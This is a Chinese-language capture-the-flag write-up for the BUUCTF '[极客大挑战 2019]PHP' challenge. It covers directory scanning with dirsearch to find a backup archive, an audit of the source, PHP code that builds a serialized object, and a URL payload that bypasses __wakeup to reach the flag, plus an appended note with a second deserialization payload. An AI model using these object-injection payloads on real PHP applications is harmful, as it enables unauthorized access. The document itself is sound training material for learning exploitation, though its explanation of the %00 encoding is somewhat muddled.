1.【BUUCTF】[极客大挑战 2019]PHP(反序列化)

打开题目页面如下

很有趣的前端页面,猫猫会随着球的方向目光跟随,靠近猫猫还会把玩球

看到提示备份网站,但不知道备份文件名,用kali中的dirsearch扫描根目录试试

扫描特定的后缀,命令如下

dirsearch -u http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/ -e bak,zip,rar,tar,old

结果如下

看到有www.zip

构造url

http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/www.zip

看到下载完成,打开查看 

有如下几个文件

打开flag.php

 qyq,果然不可信,没那么简单

打开源码文件index.php

看到里面的php语句,直接开审

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

include 'class.php';
include 是一个文件包含语句

作用是将指定路径下的文件 class.php 的内容包含到当前脚本中

class.php 文件里所定义的函数、类、变量等都能够在当前脚本中使用。
若 class.php 文件不存在或者无法被找到,include 语句会产生一个警告信息(E_WARNING),但脚本会继续执行。
$select = $_GET['select'];
$_GET 是 PHP 中的一个超全局变量,用于接收通过 HTTP GET 请求方法传递过来的参数。

从 URL 的查询字符串里获取名为 select 的参数值,并将其赋值给变量 $select。
$res=unserialize(@$select);
unserialize 函数用于将经过序列化处理的字符串还原为原来的 PHP 数据结构(如数组、对象等)。这里是尝试把 $select 变量的值进行反序列化操作,然后将结果赋值给变量 $res。
@ 是 PHP 中的错误抑制符,作用是抑制 unserialize 函数在执行过程中可能产生的错误信息。

也就是说,即使 $select 的值不是一个有效的序列化字符串,脚本也不会输出错误信息。


再打开class.php文件

<?php
// 包含 flag.php 文件,通常该文件中会定义存储 flag 的变量
include 'flag.php';

// 设置错误报告级别为 0,即关闭所有的错误报告
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 类的构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,并将其赋值给类的私有属性
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 是 PHP 的魔术方法,当使用 unserialize 反序列化对象时会自动调用
    // 此方法将 $this->username 的值设置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 是 PHP 的魔术方法,当对象被销毁时会自动调用
    function __destruct(){
        // 检查 $this->password 是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查 $this->username 是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 使用 global 关键字引入全局变量 $flag
            global $flag;
            // 输出 $flag 的值,即 flag 内容
            echo $flag;
        } else {
            // 如果 $this->username 不等于 'admin',输出友好提示信息
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

代码审计

反序列化漏洞:代码直接对用户通过 URL 传递的 select 参数进行反序列化操作,可以构造恶意的序列化数据来绕过 __wakeup 方法和 __destruct 方法中的验证逻辑,从而获取 flag。
__wakeup 绕过漏洞:在 PHP 5.6.25 及之前版本和 PHP 7.0.10 及之前版本中,如果序列化字符串中表示对象属性个数的值大于实际属性个数,__wakeup 方法将不会被调用,提供了绕过 __wakeup 方法中用户名重置的机会。


构造恶意序列化对象

构造一个满足 __destruct 方法中验证条件的序列化对象。
创建一个 Name 类的对象,将 $username 设置为 'admin',$password 设置为 100。
利用 __wakeup 绕过漏洞,构造序列化字符串时让属性个数大于实际属性个数。

构造恶意序列化对象的代码

<?php
class Name{
    private $username = 'admin';
    private $password = 100;
}

$obj = new Name();
$serialized = serialize($obj);
// 绕过 __wakeup,将属性个数修改为大于实际属性个数
$exploit = str_replace('O:4:"Name":2:', 'O:4:"Name":3:', $serialized);
echo $exploit;
?>

可以用下面这个在线工具运行代码

php在线运行,在线工具,在线编译IDE_w3cschool

结果

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

发送恶意请求

将构造好的序列化字符串作为 select 参数的值,通过 URL 发送给目标页面。

http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

服务器在处理该请求时会对 select 参数进行反序列化,由于绕过了 __wakeup 方法,并且满足 __destruct 方法中的验证条件


居然还是没有得到flag

原来需要将空格进行编码%00因为在执行时会减少空格

http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最后得到flag

 

### PHP 反序列化 buuCTF 挑战解题思路 #### 一、题目背景与环境设置 在buuctf平台上,存在多个涉及PHP反序列化挑战。这些挑战通常提供一段PHP代码供参赛者审计并找出漏洞所在。例如,在NewStarCTF中的`UnserializeOne`题目中,参与者需深入理解给定的PHP脚本逻辑及其潜在的安全隐患[^1]。 #### 二、核心概念解析 对于此类题目而言,掌握PHP对象序列化和反序列化的机制至关重要。当一个对象被序列化后会转换成字符串形式存储;而通过特定手段操控该字符串再将其传递回程序执行反序列操作,则可能触发预设之外的行为模式。特别是在某些情况下,如果开发者定义了特殊方法如`__destruct()`、`process()`以及`read()`等,它们会在反序列过程中自动调用,这便成为了解决这类问题的关键切入点之一[^3]。 #### 三、具体实例分析 以一次成功的解题为例,为了使条件判断语句成立进而获得flag,需要让两个属性值相等——即`$correct`为空串且与另一个同名变量指向同一内存地址。因此可以构建如下所示的对象结构并通过`serialize()`函数得到相应的payload: ```php <?php class BUU { public $correct = ""; public $input = ""; } $a = new BUU(); $a->correct = ""; $a->input =& $a->correct; echo serialize($a); ?> ``` 上述代码片段创建了一个名为`BUU`的新类实例,并设置了其内部成员之间的引用关系使得二者共享相同的值空间。最终输出的结果即是可用于提交测试的有效载荷数据[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值